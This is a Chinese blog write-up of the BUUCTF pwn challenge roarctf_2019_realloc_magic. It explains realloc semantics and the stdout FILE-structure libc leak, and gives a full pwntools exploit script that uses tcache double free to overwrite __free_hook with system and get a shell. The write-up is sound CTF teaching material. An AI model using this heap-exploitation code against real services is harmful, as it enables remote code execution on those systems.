• 【BUUCTF】roarctf_2019_realloc_magic---从一道题认识realloc函数+stdout泄露libc地址实战



    慢慢的接触到了FILE io的实战题目,很难想象这是2019年题目的水平,看来还是欠缺的太多了。
    此外,realloc函数这里也是第一次碰到,之前一直都是用realloc_hook,今天也终于对realloc这个函数下手了!!!

    一、题目分析

    题目环境是BUUCTF的ubuntu18,利用的是2.27-3ubuntu1_amd64的libc版本,这个版本注意到tcache还是存在double free的漏洞的,
    至于函数功能真的是非常简单的

    • 1.realloc功能
      在这里插入图片描述

    • 2.free功能
      在这里插入图片描述

    • 3.隐藏的666功能
      在这里插入图片描述

    这么简单功能?到滴该咋办,第一时间看到的时候我整个人都懵逼了。

    二、前置知识

    如果想靠自己的本事做出来,至少要掌握下面两个基础知识:

    (一)关于realloc函数

    realloc函数功能比malloc更加复杂,与malloc也有一定的区分。

    • ①当ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
    • ②当ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
    • ③当size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
    • ④当size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针

    (二)关于如何利用stdout泄露libc的方法

    网上有很多优秀的博文,我在这里推荐hollk大神的博客,写的特别nice
    好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    三、解题思路

    (一)抛出解题的核心问题

    这个题目有两个最核心的问题:

    • 第一,如何泄露libc的问题,如果不泄露libc,这么简单的程序时不可能达成利用的
    • 第二,如何实现攻击,无论是泄露libc还是实现攻击,都需要一种思路,这个一定和realloc的特性是密不可分的。

    (二)解题思路

    如果在已知libc地址的前提下,攻击方法我们还是希望攻击hook这种传统的方式,并且因为tcache double free可行,tcache dup就更容易利用了,其中就是需要我们仔细理解、设计realloc的用法。我们设(学习)计(大佬)的解题思路如下:

    • 第一步,通过realloc和free的组合,具备实现tcache dup的攻击条件
    • 第二步,利用main_arena与stdout相近的情况,爆破第二个低字节,利用利用_IO_2_1_stdout泄露libc
    • 第三步,用第一步相同的方法指向free_hook,最终getshell

    (三)最终解题详细过程

    想法很美妙,但是如果不看大神的wp,能够想出来一定还是很有挑战的!!!
    第一步:构建tcache dup的条件,并且将地址指向_IO_2_1_stdout,事实就是这个构造就让我头秃欲裂
    这里面细节太多了,建议一步一步看,结合代码注释看。
    这里构造必须巧妙地运用realloc的特性:①当ptr != nullptr && size == 0的时候返回空指针;②当ptr == nullptr的时候,相当于malloc(size)两条性质。

    • 1.我们先看一下tcache dup应该如何布置空间
        realloc(0x30,"a")   # 块A 这一步很关键,是为了tcache dup篡改B的fd预留位置
        realloc(0,"")       # 这一步是关键,利用了性质①
    
        realloc(0x80,"b")   # 块B ,在上述步骤后realloc_ptr被置空,又可以利用②构造下一个位置的chunk,而不是在A的基础上扩展
        realloc(0,"")       # 同上
    
        realloc(0x40,"c")   # 块C ,纯粹的隔离作用,防止被top chunk 合并
        realloc(0,"")
    
        realloc(0x80,"b")   # 重新申请回B块
        [free() for x in range(7)]      # 利用tcache double free填满tcache chain
        realloc(0,"")       # 这一步有三层含义,非常关键
                            # 第一,清空realloc_ptr,为tcache dup必须的更改realloc_ptr创造条件
                            # 第二,将0x90大小的堆第8次释放,变成unsorted bin,这一步为realloc(A,size(A)+N)成功打下基础
                            # 第三,unsorted bin 会使得fd 变成main_arena + 96,这给我们篡改至_IO_2_1_stdout奠定了基础
        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    布置完毕后堆空间是这样的
    在这里插入图片描述
    在这里插入图片描述

    • 2.利用tcache dup需要两次malloc如何实现?如何篡改main_arena指向_IO_2_1_stdout?
        realloc(0x30,"a")   # 将realloc_ptr指向Chunk A
    
        #break_here()       # 注释代码用于在测试时候用,保证tcache顺利指向
        #offset = int(input("please input offset : "))
        #offset = (offset<<4)+7
        offset = 0xc7       # 在实操时候直接选一个值爆破就完事了
    
        payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(offset)
        realloc(0x50,payload)   # 这一步也是至关重要的一步,里面包含了两点!
                                # 第一,篡改的p64(0x51),将Chunk B大小修改掉了,这样可以结合realloc(0),多一次malloc(0x80),好好体会!
                                # 第二,将double free tcache的fd指向了_IO_2_1_stdout,这得益于_IO_2_1_stdout和main_arena很近    
        realloc(0,"")       # 因为上面篡改size,实现tcache dup的第一次申请
        realloc(0x80,"b")
    
        realloc(0,"")
        payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
        realloc(0x80,payload)   # 实现tcache dup的第二次申请,同时篡改_IO_2_1_stdout内容
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    利用tcache dup需要两次malloc如何实现,在中间利用到了一个点,通过篡改了Chunk B赢得了一次机会
    至于利用main_arena篡改stdout,得益于他们非常近,如下图,我们唯一不知道的就是第二地位的高四位地址
    在这里插入图片描述

    这里有个小tips,在调试的时候利用好input的,别傻乎乎的撞大运。

    然后利用stdout泄露的原理就不再赘述,反正要符合条件!!!

    1、设置_flags & _IO_NO_WRITES = 0
    2、设置_flags & _IO_CURRENTLY_PUTTING = 1
    3、设置_flags & _IO_IS_APPENDING = 1
    4、将_IO_write_base设置为要泄露的地方
    
    • 1
    • 2
    • 3
    • 4

    这里又是一个细节,_IO_write_base原本的位置是指向_IO_2_1_stdout附近的,现在我们还是只要篡改低1字节就可以了
    在这里插入图片描述

    然后我们就可以找到libc地址了

    第二步:泄露libc地址,很正常的操作不再赘述
    这里面最重要的一点是,在完毕后需要用到666功能,清除realloc_ptr,为后面再次利用创造条件。

    第三步:利用第一步相同的手法,将_free_hook篡改为system

    realloc(0x20,"a")
        realloc(0,"")
        realloc(0x90,"b")
        realloc(0,"")
        realloc(0x40,"c")
        realloc(0,"")       #部署空间
    
        realloc(0x90,"b")
        [free() for x in range(7)]
        realloc(0,"")
    
        realloc(0x20,"a")   #转移realloc_ptr
        payload = p64(0)*5 + p64(0x71) + p64(__free_hook-0x8)   # 这里是为了预留/bin/sh\x00的位置
        realloc(0x70,payload)
        realloc(0,"")
    
        realloc(0x90,"b")
        realloc(0,"")
        realloc(0x90,"/bin/sh\x00"+p64(system)) # 实现tcache dup篡改
    
        free()  # 触发漏洞
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    四、利用代码

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    def realloc(size,content):
        conn.recvuntil(">> ")
        conn.sendline("1")
        conn.recvuntil("Size?")
        conn.sendline(str(size))    
        conn.recvuntil("Content?")
        conn.send(content)
    
    def edit_note(index,content):
        conn.recvuntil("option--->>")
        conn.sendline("3")
        conn.recvuntil("Input the id:")
        conn.sendline(str(index))
        conn.recvuntil("Input the new content:")
        conn.sendline(content)
    
    def free():
        conn.recvuntil(">> ")
        conn.sendline("2")
    
    def clean():
        conn.recvuntil(">> ")
        conn.sendline("666")
    
    def break_here():
        '''这个是我调试用的,需要在哪里断了就在哪里加上一句'''
        conn.recvuntil(">> ")
        conn.sendline("3")  
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 29982
        conn = remote(HOST ,PORT)
        pause()
        
        '''第一步:第一次tcache dup构造,意在申请到`_IO_2_1_stdout`的块'''
    
        # 1.tcache dup应该如何布置空间
        # ①当ptr != nullptr && size == 0的时候返回空指针;
        # ②当ptr == nullptr的时候,相当于malloc(size)两条性质
        
        realloc(0x30,"a")   # 块A 这一步很关键,是为了tcache dup篡改B的fd预留位置
        realloc(0,"")       # 这一步是关键,利用了性质①
    
        realloc(0x80,"b")   # 块B ,在上述步骤后realloc_ptr被置空,又可以利用②构造下一个位置的chunk,而不是在A的基础上扩展
        realloc(0,"")       # 同上
    
        realloc(0x40,"c")   # 块C ,纯粹的隔离作用,防止被top chunk 合并
        realloc(0,"")
    
        realloc(0x80,"b")   # 重新申请回B块
        [free() for x in range(7)]      # 利用tcache double free填满tcache chain
        realloc(0,"")       # 这一步有三层含义,非常关键
                            # 第一,清空realloc_ptr,为tcache dup必须的更改realloc_ptr创造条件
                            # 第二,将0x90大小的堆第8次释放,变成unsorted bin,这一步为realloc(A,size(A)+N)成功打下基础
                            # 第三,unsorted bin 会使得fd 变成main_arena + 88,这给我们篡改至_IO_2_1_stdout奠定了基础
        
        # 2.利用tcache dup需要两次malloc如何实现?如何篡改main_arena指向_IO_2_1_stdout?
        realloc(0x30,"a")   # 将realloc_ptr指向Chunk A
    
        #break_here()       # 注释代码用于在测试时候用,保证tcache顺利指向
        #offset = int(input("please input offset : "))
        #offset = (offset<<4)+7
    
        offset = 0xc7       # 在实操时候直接选一个值爆破就完事了
    
        payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(offset)
        realloc(0x50,payload)   # 这一步也是至关重要的一步,里面包含了两点!
                                # 第一,篡改的p64(0x51),将Chunk B大小修改掉了,这样可以结合realloc(0),多一次malloc(0x80),好好体会!
                                # 第二,将double free tcache的fd指向了_IO_2_1_stdout,这得益于_IO_2_1_stdout和main_arena很近    
        realloc(0,"")       # 因为上面篡改size,实现tcache dup的第一次申请
        realloc(0x80,"b")
    
        realloc(0,"")
        payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
        realloc(0x80,payload)   # 实现tcache dup的第二次申请,同时篡改_IO_2_1_stdout内容
    
        '''第二步:泄露libc地址'''
        conn.recvuntil("\n",drop=True)
        libc_leak = conn.recvuntil("\x7f")
        libc_leak = libc_leak.ljust(8,"\x00")
        libc_leak = u64(libc_leak)
    
        __free_hook = libc_leak + 0x5648
        print "The libc leak is ",hex(libc_leak)
        print "The __free_hook is ",hex(__free_hook)
    
        libc = LibcSearcher("__free_hook",__free_hook)
        libc_base = __free_hook - libc.dump("__free_hook")
        system = libc_base + libc.dump("system")
    
        clean()     # 这一步很关键,为了后面可以正常继续操作,需要用隐藏功能把realloc_ptr清零
        
        '''第三步:使用相同的方法,将free_hook篡改为system'''
        realloc(0x20,"a")
        realloc(0,"")
        realloc(0x90,"b")
        realloc(0,"")
        realloc(0x40,"c")
        realloc(0,"")       #部署空间
    
        realloc(0x90,"b")
        [free() for x in range(7)]
        realloc(0,"")
    
        realloc(0x20,"a")   #转移realloc_ptr
        payload = p64(0)*5 + p64(0x71) + p64(__free_hook-0x8)   # 这里是为了预留/bin/sh\x00的位置
        realloc(0x70,payload)
        realloc(0,"")
    
        realloc(0x90,"b")
        realloc(0,"")
        realloc(0x90,"/bin/sh\x00"+p64(system)) # 实现tcache dup篡改
    
        free()  # 触发漏洞
    
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124

    五、知识点和技巧小结

    • 1.realloc的功能
    • 2.利用stdout结构体的flags和_IO_write_base来泄露libc中的地址
    • 3.利用main_arena来劫持stdout结构体
  • 相关阅读:
    数据结构之线性表中的顺序表【详解】
    14:00面试,14:06就出来了,问的问题有点变态。。。
    2021Java面试-基础篇
    使用Java拓展本地开源大模型的网络搜索问答能力
    【RocketMQ】设计理念与核心概念扫盲
    生产环境日志还用notepad++?难怪定位慢,UltraEdit了解一下!
    OOM内存溢出分析
    【JavaEE】计算机是如何工作的
    AWS使用 Client VPN 配置访问VPC 内网资源
    输入一个大写字母,程序根据输入字符在字母表的顺序位置n,输出一个高度为n的金字塔图形
  • 原文地址:https://blog.csdn.net/qq_35078631/article/details/126913140